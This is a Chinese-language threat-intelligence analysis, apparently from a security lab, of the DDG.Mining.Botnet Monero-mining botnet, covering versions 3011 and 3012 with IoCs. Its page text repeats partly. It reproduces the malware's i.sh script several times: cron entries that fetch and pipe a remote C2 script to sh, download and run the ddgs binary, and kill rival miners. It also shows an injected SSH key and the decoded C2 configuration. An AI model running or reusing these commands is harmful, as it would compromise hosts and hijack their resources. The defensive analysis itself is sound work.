DDG.Mining.Botnet 近期活动分析
<p><strong>UPDATE(2018.6.13)</strong></p><p>6.12 日，我们监测到 DDG.Mining.Botnet 又发布了新版本，最新版本为 v3012 ，更新概要如下：</p><ul><li>更换主 C2 为 <strong>69.64.32.12:8000</strong> ；</li><li>修改用来持久驻留的 i.sh 脚本；</li><li>更新备用 C2 IP 列表；</li><li>云端配置文件的结构、编码方式没有变化，只是里面涉及 C2 的内容指向最新的 C2；</li><li>矿机程序、矿池 Proxy以及 XMR Wallet 均未变化，Wallet 地址： <strong>42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik</strong>在矿池 <code>supportxmr.com</code> 中 TotalPaid 为 <strong>177.5497873784 XMR</strong> ；在矿池 <code>nanopool.org</code> 中 TotalPaid 为 <strong>6.057345747571 XMR</strong> 。</li></ul><p>最新 C2 主页截图： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/06/C2_host.png" class="kg-image" alt loading="lazy"></figure><p>最新的核心样本如下：</p><pre><code>md5=e31c1d7a8025e7c3266a07e37c55a4ba    uri=hxxp://69.64.32.12:8000/static/3012/ddgs.i686
md5=26b3aef91bacfa082deff9812acf7875    uri=hxxp://69.64.32.12:8000/static/3012/ddgs.x86_64
</code></pre><p>最新的 i.sh 脚本如下：</p><pre><code>export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL hxxp://69.64.32.12:8000/i.sh | sh" &gt; /var/spool/cron/root
echo "*/5 * * * * wget -q -O- hxxp://69.64.32.12:8000/i.sh | sh" &gt;&gt; /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL hxxp://69.64.32.12:8000/i.sh | sh" &gt; /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- hxxp://69.64.32.12:8000/i.sh | sh" &gt;&gt; /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep /tmp/ddgs.3012 || rm -rf /tmp/ddgs.3012
if [ ! -f "/tmp/ddgs.3012" ]; then
    curl -fsSL hxxp://69.64.32.12:8000/static/3012/ddgs.$(uname -m) -o /tmp/ddgs.3012
fi
chmod +x /tmp/ddgs.3012 &amp;&amp; /tmp/ddgs.3012

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
</code></pre><p>最新的备用 C2 IP 以及 AS 信息 List 如下：</p><p><strong><a href="__GHOST_URL__/file/iplist_v3012.txt">iplist_v3012.txt</a></strong></p><hr><p><strong>UPDATE(2018.6.1)</strong></p><p>5.21 日，我们发布了关于 DDG.Mining.Botnet 的近期活动分析报告。我们发现了 ddgs v3010 和 v3011 两个版本的相关样本，并在它们共同用到的挖矿样本中发现了与 ddg v20xx 版本不同的 XMR Wallet。但由于 ddgs v3011 版本的样本并不能正常执行挖矿操作，我们把 v3011 版本定性为测试版本或过渡版本。并且，新发现的 XMR Wallet 中的挖矿收益，应为 v3011 版本之前的版本挖矿所得。</p><p>5.31 日，我们监测到 DDG.Mining.Botnet 又有了新动态，发布了新的关键更新，概要如下：</p><ol><li>更新了矿机程序；</li><li>发布了 ddgs v3011 的 <strong>x86_64</strong> 版本的样本（之前只有 <strong>i686</strong> 版本）；</li><li>更新了备用 C2 IP 列表；</li><li>更新了核心 Shell 脚本文件 <strong>i.sh</strong> 。</li></ol><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/06/ddgs_samples.png" class="kg-image" alt loading="lazy"></figure><h3 id="-"><strong>新的矿机程序</strong></h3><p>最新的矿机程序 <strong>qW3xT</strong> 和 <strong>qW3xT.1</strong>，由 XMRig2.6.2 编译而来，均为 64Bit ELF 文件：</p><pre><code>c50d3e20b3519f096630e31277fefceb, hxxp://165.225.157.157:8000/static/qW3xT, 1252480 bytes, last modified 2018-05-24 15:51:10 +0000 UTC  
532a35a8d0fe4944c24575c0336eff8a, hxxp://165.225.157.157:8000/static/qW3xT.1, 1256576 bytes, last modified 2018-05-29 13:56:16 +0000 UTC  
</code></pre><p>矿机所连接的矿池以及使用的 XMR Wallet 均未变化，只是矿池 Proxy 由之前的 <code>47.90.204.154</code> 变成了 <code>47.52.57.128/165.225.157.157</code> 两个。</p><h3 id="ddgs-x86_64"><strong>ddgs.x86_64</strong></h3><pre><code>md5=55b1d7b0fa1c479c02660896e05db910 uri=hxxp://165.225.157.157:8000/static/3011/ddgs.x86_64  
</code></pre><p>v3011 版本有了 ddgs.x86_64 ，就可以在 64bit 系统的失陷主机上顺利下载、执行矿机程序来挖矿了。<strong>自此， v3011 不再是测试版本或者过渡版本，而是一个可以顺利运行的版本</strong>。</p><h3 id="-c2-ip-"><strong>最新的备用 C2 IP 列表</strong></h3><p>5.21 日我们公布了一批 ddgs.i686 样本里内置的备用 C2 IP 列表，在最新的 ddgs.x86_64 样本里，我们发现备用 C2 IP 列表有变动，最新完整的的 C2 IP 列表如下（与之前的有部分重合）：</p><p><strong><a href="__GHOST_URL__/file/iplist_v3011_2.txt">iplist_v3011_2.txt</a></strong></p><h3 id="i-sh-"><strong>i.sh 的变动</strong></h3><p>因为 DDG.Mining.Botnet 最新版 v3011 现在集齐了 i686 和 x86_64 两个核心样本，所以现在的 <strong>i.sh</strong> 也做了相应改动，可以通过 <code>ddgs.$(uname -m)</code> 来适配 i686 和 x86_64 的失陷主机：</p><pre><code>export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" &gt; /var/spool/cron/root  
echo "*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh" &gt;&gt; /var/spool/cron/root  
mkdir -p /var/spool/cron/crontabs  
echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" &gt; /var/spool/cron/crontabs/root  
echo "*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh" &gt;&gt; /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep /tmp/ddgs.3011 || rm -rf /tmp/ddgs.3011  
if [ ! -f "/tmp/ddgs.3011" ]; then  
    curl -fsSL hxxp://165.225.157.157:8000/static/3011/ddgs.$(uname -m) -o /tmp/ddgs.3011
fi  
chmod +x /tmp/ddgs.3011 &amp;&amp; /tmp/ddgs.3011

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill  
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
</code></pre><hr><p><strong>原文(2018.5.21)</strong></p><p>今年 2 月 1 日，我们详细分析了一个瞄准数据库服务器的挖矿僵尸网络 <a href="__GHOST_URL__/ddg-a-mining-botnet-aiming-at-database-server/">DDG.Mining.Botnet</a> 。</p><p>近期，我们注意到该家族发布了新的版本 3011 ，在该更新版本部署的过程中，引发了端口 7379 及相关端口上的扫描流量异常。在该版本的样本中我们发现了新的钱包地址，其在 2 个矿池里累计收益已经超过 1,419 枚 XMR。最后值得注意的是，该版本可能还处于测试阶段，或者只是一个过渡版本。</p><p>DDG 3011 版本的概要特征如下：</p><ul><li>启用了新的 XMR 钱包地址<code>42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik</code> ；</li><li>挖矿程序变更为 <strong>2t3ik</strong> ，但命名规则没有变化，仍然是钱包地址的末尾 5 位；</li><li>启用多个矿池，这应该被理解成为一种失效保护机制；</li><li>样本的编写语言由旧的 Go1.9.2 换成了 Go1.10，并在代码结构、第三方库和自身功能方面进行较大改动；</li><li>启用了云端配置文件，可以由云端配置文件指定要扫描的服务端口、矿机程序下载链接、本地样本更新数据等等；</li><li>相同的持久驻留机制：将 <strong>i.sh</strong> 脚本写入到 Crontab 中定期更新、运行。</li></ul><h3 id="7379-"><strong>7379 及相关端口上的扫描流量异常</strong></h3><p>近期，我们的 <a href="https://scan.netlab.360.com/#/dashboard?tsbeg=1525622400000&amp;tsend=1526054400000&amp;dstport=7379&amp;toplistname=similardstport&amp;topn=10">ScanMon</a> 系统显示 Redis 服务相关端口的扫描流量骤增，如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/05/port_scan.png" class="kg-image" alt loading="lazy"></figure><p>上图中，与该扫描相关的关联端口共计 7 个，分别是 ：</p><ul><li>Redis 相关的三个：6379, 6380, 7379</li><li>SSH 相关的三个：22, 2222, 22222</li><li>HTTP 相关的一个：8000</li></ul><p>我们在本文后续的样本分析环节中可以发现，DDG 新版本 ddgs.3011 的扫描模式与上述 ScanMon 观察到的现象非常契合。这足以证明，DDG 最新版本的活动引起了本轮 7379 及相关端口上的扫描行为。</p><h3 id="--1"><strong>样本执行流程</strong></h3><p>我们捕获了这次事件相关的核心样本：</p><pre><code>hxxp://165.225.157.157:8000/static/3011/ddgs.i686    md5=999fc24f53034b4c73866a0699be15fa  
</code></pre><p>该样本的执行流程如下： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/05/ddgs_3011_flowchart.png" class="kg-image" alt loading="lazy"></figure><p>新旧样本最明显的相似之处，是通过把 <strong>i.sh</strong> 脚本植入到 Linux 系统肉鸡的 Crontab 中来实现持久驻留。新 <strong>i.sh</strong> 脚本内容如下：</p><pre><code>export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" &gt; /var/spool/cron/root  
echo "*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh" &gt;&gt; /var/spool/cron/root  
mkdir -p /var/spool/cron/crontabs  
echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" &gt; /var/spool/cron/crontabs/root  
echo "*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh" &gt;&gt; /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddgs.3011" ]; then  
    curl -fsSL hxxp://165.225.157.157:8000/static/3011/ddgs.i686 -o /tmp/ddgs.3011
fi  
chmod +x /tmp/ddgs.3011 &amp;&amp; /tmp/ddgs.3011

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill  
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
</code></pre><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/05/passwords.png" class="kg-image" alt loading="lazy"></figure><p>ddgs.i686 还会在失陷主机本地的 <code>/var/spool/cron/crontabs/root</code> 或者 <code>/var/spool/cron/crontabs</code> 处写入定时任务脚本，从云端下载最新的 <code>i.sh</code> 脚本定时执行（ <strong>%s</strong> 处为最新的 <code>i.sh</code> 下载链接），实现持久驻留：</p><pre><code>*/1 * * * * curl -L %s | sh
*/1 * * * * wget -q %s -O - | sh
</code></pre><p>然后，ddgs.i686 会尝试在当前肉鸡的 <code>~/.ssh/authorized_keys</code> 中注入以下 SSH Pub Key：</p><pre><code>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfxLBb/eKbi0TVVULI8ILVtbv2iaGM+eZbZoCWcD3v/eF1B/VkHAC1YwIhfqkUYudwhxVfQzsOZYQmKyapWzgp3tBAxcl82Al++VQc36mf/XFnECHndJS1JZB429/w/Ao+KlASl/qzita61D2VsXyejIQIeYR7Ro+ztLSTXjx+70CvzgOae3oayunL/hGX8qORIkG5YR3R1Jefhxy1NhGxEd6GaR7fZA5QWGfM17IcSXi2Q876JL8U7Aq8cjQyN/kGT2jWiiQiOZzqbjVJVICiwk0KvtrTwppV6FLty/vdfhgyspR4WZMep41xxuBH5rBkEJO5lqbKJWatcaA8n9jR root@localhost  
</code></pre><p>ddgs.i686 样本中内置了一个 <strong>ip:port</strong> 的 List，其中 2 个主要的 <code>165.225.157.157:8000</code> 和 <code>165.227.149.151:8000</code> ，其他算是备用，全部列表如下：</p><p><strong><a href="__GHOST_URL__/file/iplist_v3011_1.txt">iplist_v3011_1.txt</a></strong></p><p>样本 ddgs.i686 启动之后，会依次连接上述 <strong>ip:port</strong> 检查是否可以访问： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/05/ip_list_conn.png" class="kg-image" alt loading="lazy"></figure><p>对每个成功握手的 <strong>ip:port</strong> ，ddgs.i686 都会尝试向 <strong><code>hxxp://&lt;C2:8000&gt;/slave</code></strong> 发送 HTTP POST 请求： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/05/ip_list_http_post.png" class="kg-image" alt loading="lazy"></figure><p>如果 C2 正常工作，则会返回一串用 <strong><a href="https://msgpack.org/">msgPack</a></strong> 序列化编码后的配置文件数据： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/05/http_post_resp_mask.png" class="kg-image" alt loading="lazy"></figure><p>由于这串数据自定义了复杂的数据结构，没能成功完美解码，经过 <strong>msgPack</strong> 通用反序列化再大概还原后如下：</p><pre><code>{
    'Data': 
        Config: 
            Interval:"360s";
            Miner:[
                {Exe: "/tmp/2t3ik.p", Md5: "b44bce2047f2254e5e7e8b0730caae2e", Url: "/static/2t3ik.p"}, 
                {Exe: "/tmp/2t3ik.m", Md5: "54259015b8ead37ac66da056769520db", Url: "/static/2t3ik.m"}
            ];
            Cmd:[
                (AAredis:{
                    Id: 6016;
                    Version: 3011; 
                    ShellUrl: "http://165.225.157.157:8000/i.sh"; 
                    Duration: "168h";
                    aIPDuration: "23h"; 
                    GenLan;
                    GenAAA;
                    Ports: (6379, 6380, 7379)
                }),
                (AAssh:{
                    Id: 2017;
                    Version: 3011;
                    ShellUrl: "http://165.225.157.157:8000/i.sh";
                    NThreadsd;
                    Duration: "168h";
                    aIPDuration:"26h"
                    GenLan;
                    GenAAA;Ports: (22, 2222, 22222)
                }),
                (Update:(
                    {
                        Id: 142;
                        Version: 3010;
                        Timeout: "26m";
                        Exe: "/tmp/ddgs.3011";
                        Md5: "999fc24f53034b4c73866a0699be15fa";
                        Url: "/static/3011/ddgs.i686";
                        Killer: 132;
                    },
                    {
                        Id: 197;
                        Version:3011;
                        Expr: ".+(cryptonight|stratum+tcp://|dwarfpool.com).+";
                        Timeout: "360s";
                    },
                    {
                        Id: 198;
                        Version: 3011;
                        Expr: "./xmr-stak|./.syslog|/bin/wipefs|./xmrig|/tmp/wnTKYg";
                        Timeout: "360s";
                    },
                    {
                        Id: 199;
                        Version: 3011;
                        Expr: "/tmp/2t3ik.+";
                        Timeout: "360s";
                        LKProc: 132;
                    },
                    {
                        Id: 177;
                        Version: 3011;
                        Expr: ".+";
                        Timeout: 360s'
                    }
                )
            ],
    'Signature': '\x02\x0b_v8\xe4\xa9\xe8\x0fV\xc1\x04\xbeK\x1e\x10\x1a\xc4\xb3C}\xb2\x96D\r\x97"\xc4\xffF\xd0s)\xbf\xc4H\xa4\xa5le\xd5J\x8b\x0f8?\r\xfb\x8b)\~~\x02\xfd\xf7\xa4\xe5"hp\x11\xdd\xae\xd4\r\\\xb4\xf7)\xf1\xc4\x87\x95\x8esM\xbcq\x01Y\xe8\xe5H\x93\xde\xcc\xbbq\xc3\xdebS\x03\x90K\t4\x9e=\x94\xd1w~V\xa3\xad$\x10\'\xa2y\xaa\xe6\x0ep\xd8\x00\xf2\xf7B\xc6\x18\xa4\x16_q/K\xf8\x05\n\x98:-\x9f\xf1z\xfe\xa3\xe4C\xa8\xeeg\x0f\x7f\xd7\x8d\x02\x98\\\x1aJ\xab\xcc\xf9\xbd\x94\x83\xfd\xc3q\xad\xb5\x8d\xcb\x06\xfeQ\x1d=\x05L@\xc3\xf6\n&gt;\xb2\xedY\x16.\x14\x7fc\xf9\xafT\xa3\xfbzq/y\xba4\xd8k\x82rh\x17\xd8\xd5\'EU~\x1ag\x0f\xb2\xa0\xa3C\xff\xcbSj\xccI\xe4\x98\x99\xc3\xe8\xfe\xe7\xfd\xf5\x07\xce\x8d\x97d\x1e\xae\ta\xf3\x8e\x05\xf7\xb7\x95\xe7\x82|\x8eS\x0b\x11\xcb\xa3'
}
</code></pre><p>结合配置文件和样本分析，可以发现以下几个关键点：</p><ol><li>配置文件中提供了 Miner 程序的 URI、MD5 和保存到当前肉鸡的文件路径。ddgs.i686 会根据 URI，通过 HTTP GET 请求从 <code>http://&lt;C2:8000&gt;/Miner_URI</code> 处下载 Miner 程序并另存到指定路径；</li><li>配置文件中提供了最新的 <strong>i.sh</strong> 文件下载路径，ddgs.i686 会把这个路径填充到定时任务的命令字串中；</li><li>配置文件中指定了要扫描的 dstport，可以看到针对 Redis 服务，指定 ddgs.i686 扫描 (6379, 6380, 7379) 三个端口，针对 SSH 服务，指定扫描 (22, 2222, 22222) 三个端口。（这里可以解释 ScanMon 上 7 个端口之间的伴生关系。但 Redis 服务相关的 3 个端口与 SSH 服务相关的 3 个端口之间 <strong>Shared scip</strong> 数量比较少，原因可能跟蜜罐部署以及蜜罐的网络配置有关）</li><li>配置文件中的 <strong>GenLan</strong> / <strong>GenAAA</strong> 对应生成 Scan Target IP 的生成策略。样本中的 Scan Target IP 生成策略仍然同于旧版本的 ddg.miner：生成的内网网段 Target IP 范围如下：10.Y.x.x/16 (Y 为当前内网 IP B 段的值)172.16.x.x/16192.168.x.x/16当前主机的公网 IP 地址 <strong>WAN_IP</strong> ，然后在 <code>WAN_IP/8</code> 范围内生成公网网段 Target IP 。但是样本内有个扫描控制策略，从行为上看，针对内网 Target IP ，只扫描 SSH 服务相关的 3 个端口，我的虚拟机上运行结果只会扫 SSH 服务，看起来只有获取到了网卡的外网地址，才会针对外网的 Target IP 扫描 Redis 相关的端口。</li><li>配置文件中给出了 ddgs 样本的更新配置：最新的版本号、本地另存的文件路径、C2 端下载的 URI 以及样本的 MD5，本地已有的 ddgs.i686 样本会根据这些信息对本地样本进行更新。</li></ol><h3 id="--2"><strong>挖矿</strong></h3><p>样本获取配置文件后，会根据配置文件中 Miner 的信息，去下载 <strong>2t3ik.p</strong> 和 <strong>2t3ik.m</strong> 到当前失陷主机的 <strong>/tmp/</strong> 目录。这两个文件是 XMRig 2.5.2 编译的矿机程序，具体区别不明，关键信息都一致：</p><ul><li>钱包地址（新出现）：42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik</li><li>涉及的矿池：47.90.204.154hk02.supportxmr.compool.supportxmr.comxmr-asia1.nanopool.orgxmr-us-west1.nanopool.org其中 <code>47.90.204.154:443</code> 是矿池 Proxy，该主机位于 <strong>阿里云</strong> ;在矿池 <code>supportxmr.com</code> 中的 TotalPaid 为 <strong>150.5194868540 XMR</strong> ，按当前市价折合人民币 <strong>181,311.3 ￥</strong> ；在矿池 <code>nanopool.org</code> 中TotalPaid: <strong>1268.5880545439 XMR</strong> ，按当前市价折合人民币 <strong>1527,519.6￥</strong>。</li></ul><h3 id="3011-"><strong>3011 是一个测试或过渡版本</strong></h3><p>最后值得一提的是，ddgs.i686 是 32bit ELF 文件，而它下载到的 <strong>2t3ik.p</strong> 和 <strong>2t3ik.m</strong> 都是 64bit ELF 文件，这样一来，在真实环境中，矿机程序并没有办法运行。而且，版本 <strong>3011</strong> 只有<code>hxxp://165.225.157.157:8000/static/3011/ddgs.i686</code> 这一个核心样本，不像版本 <strong>3010</strong> ，同时存在 ddgs.<strong>i686</strong> 和 ddgs.<strong>x86_64</strong> 两个核心样本。所以，可以认为版本 <strong>3011</strong> 目前处于测试阶段，或者只是一个过渡版本。</p><h2 id="ioc"><strong>IoC</strong></h2><p>Sample</p><pre><code>md5=9ebf7fc39efe7c553989d54965ebb468    uri=hxxp://165.225.157.157:8000/static/imWBR1  
md5=d3b1700a413924743caab1460129396b    uri=hxxp://165.225.157.157:8000/static/wnTKYg  
md5=8eaf1f18c006e6ecacfb1adb0ef7faee    uri=hxxp://165.225.157.157:8000/static/wnTKYg.noaes  
md5=754487fd92e282c98acf6528604049aa    uri=hxxp://165.225.157.157:8000/static/imWBR1.ig  
md5=52f06ca981a6e6cbc89b095ea6db1bf9    uri=hxxp://165.225.157.157:8000/static/2t3ik.s  
md5=b44bce2047f2254e5e7e8b0730caae2e    uri=hxxp://165.225.157.157:8000/static/2t3ik.p  
md5=54259015b8ead37ac66da056769520db    uri=hxxp://165.225.157.157:8000/static/2t3ik.m  
md5=76e8d7bf408b3b6ebd13d6b292519742    uri=hxxp://165.225.157.157:8000/static/2t3ik  
md5=999fc24f53034b4c73866a0699be15fa    uri=hxxp://165.225.157.157:8000/static/3011/ddgs.i686  
md5=8ab02497219bda76c959f86386a2c363    uri=hxxp://165.225.157.157:8000/static/3010/ddgs.i686  
md5=45774309c72839d6d4303024059e7070    uri=hxxp://165.225.157.157:8000/static/3010/ddgs.x86_64  
md5=884a57a0e4f9d222117aeca111095d7a    uri=hxxp://165.225.157.157:8000/i.sh  </code></pre>
UPDATE(2018.6.13)

6.12 日，我们监测到 DDG.Mining.Botnet 又发布了新版本，最新版本为 v3012 ，更新概要如下：

 * 更换主 C2 为 69.64.32.12:8000 ；
 * 修改用来持久驻留的 i.sh 脚本；
 * 更新备用 C2 IP 列表；
 * 云端配置文件的结构、编码方式没有变化，只是里面涉及 C2 的内容指向最新的 C2；
 * 矿机程序、矿池 Proxy以及 XMR Wallet 均未变化，Wallet 地址： 42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik在矿池 supportxmr.com 中 TotalPaid 为 177.5497873784 XMR ；在矿池 nanopool.org 中 TotalPaid 为 6.057345747571 XMR 。

最新 C2 主页截图：

最新的核心样本如下：

md5=e31c1d7a8025e7c3266a07e37c55a4ba    uri=hxxp://69.64.32.12:8000/static/3012/ddgs.i686
md5=26b3aef91bacfa082deff9812acf7875    uri=hxxp://69.64.32.12:8000/static/3012/ddgs.x86_64


最新的 i.sh 脚本如下：

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL hxxp://69.64.32.12:8000/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- hxxp://69.64.32.12:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL hxxp://69.64.32.12:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- hxxp://69.64.32.12:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep /tmp/ddgs.3012 || rm -rf /tmp/ddgs.3012
if [ ! -f "/tmp/ddgs.3012" ]; then
    curl -fsSL hxxp://69.64.32.12:8000/static/3012/ddgs.$(uname -m) -o /tmp/ddgs.3012
fi
chmod +x /tmp/ddgs.3012 && /tmp/ddgs.3012

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill


最新的备用 C2 IP 以及 AS 信息 List 如下：

iplist_v3012.txt

UPDATE(2018.6.1)

5.21 日，我们发布了关于 DDG.Mining.Botnet 的近期活动分析报告。我们发现了 ddgs v3010 和 v3011 两个版本的相关样本，并在它们共同用到的挖矿样本中发现了与 ddg v20xx 版本不同的 XMR Wallet。但由于 ddgs v3011 版本的样本并不能正常执行挖矿操作，我们把 v3011 版本定性为测试版本或过渡版本。并且，新发现的 XMR Wallet 中的挖矿收益，应为 v3011 版本之前的版本挖矿所得。

5.31 日，我们监测到 DDG.Mining.Botnet 又有了新动态，发布了新的关键更新，概要如下：

 1. 更新了矿机程序；
 2. 发布了 ddgs v3011 的 x86_64 版本的样本（之前只有 i686 版本）；
 3. 更新了备用 C2 IP 列表；
 4. 更新了核心 Shell 脚本文件 i.sh 。


新的矿机程序

最新的矿机程序 qW3xT 和 qW3xT.1，由 XMRig2.6.2 编译而来，均为 64Bit ELF 文件：

c50d3e20b3519f096630e31277fefceb, hxxp://165.225.157.157:8000/static/qW3xT, 1252480 bytes, last modified 2018-05-24 15:51:10 +0000 UTC  
532a35a8d0fe4944c24575c0336eff8a, hxxp://165.225.157.157:8000/static/qW3xT.1, 1256576 bytes, last modified 2018-05-29 13:56:16 +0000 UTC  


矿机所连接的矿池以及使用的 XMR Wallet 均未变化，只是矿池 Proxy 由之前的 47.90.204.154 变成了 47.52.57.128/165.225.157.157 两个。


ddgs.x86_64

md5=55b1d7b0fa1c479c02660896e05db910 uri=hxxp://165.225.157.157:8000/static/3011/ddgs.x86_64  


v3011 版本有了 ddgs.x86_64 ，就可以在 64bit 系统的失陷主机上顺利下载、执行矿机程序来挖矿了。自此， v3011 不再是测试版本或者过渡版本，而是一个可以顺利运行的版本。


最新的备用 C2 IP 列表

5.21 日我们公布了一批 ddgs.i686 样本里内置的备用 C2 IP 列表，在最新的 ddgs.x86_64 样本里，我们发现备用 C2 IP 列表有变动，最新完整的的 C2 IP 列表如下（与之前的有部分重合）：

iplist_v3011_2.txt


i.sh 的变动

因为 DDG.Mining.Botnet 最新版 v3011 现在集齐了 i686 和 x86_64 两个核心样本，所以现在的 i.sh 也做了相应改动，可以通过 ddgs.$(uname -m) 来适配 i686 和 x86_64 的失陷主机：

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root  
echo "*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root  
mkdir -p /var/spool/cron/crontabs  
echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root  
echo "*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep /tmp/ddgs.3011 || rm -rf /tmp/ddgs.3011  
if [ ! -f "/tmp/ddgs.3011" ]; then  
    curl -fsSL hxxp://165.225.157.157:8000/static/3011/ddgs.$(uname -m) -o /tmp/ddgs.3011
fi  
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill  
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill


原文(2018.5.21)

今年 2 月 1 日，我们详细分析了一个瞄准数据库服务器的挖矿僵尸网络 DDG.Mining.Botnet 。

近期，我们注意到该家族发布了新的版本 3011 ，在该更新版本部署的过程中，引发了端口 7379 及相关端口上的扫描流量异常。在该版本的样本中我们发现了新的钱包地址，其在 2 个矿池里累计收益已经超过 1,419 枚 XMR。最后值得注意的是，该版本可能还处于测试阶段，或者只是一个过渡版本。

DDG 3011 版本的概要特征如下：

 * 启用了新的 XMR 钱包地址42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik ；
 * 挖矿程序变更为 2t3ik ，但命名规则没有变化，仍然是钱包地址的末尾 5 位；
 * 启用多个矿池，这应该被理解成为一种失效保护机制；
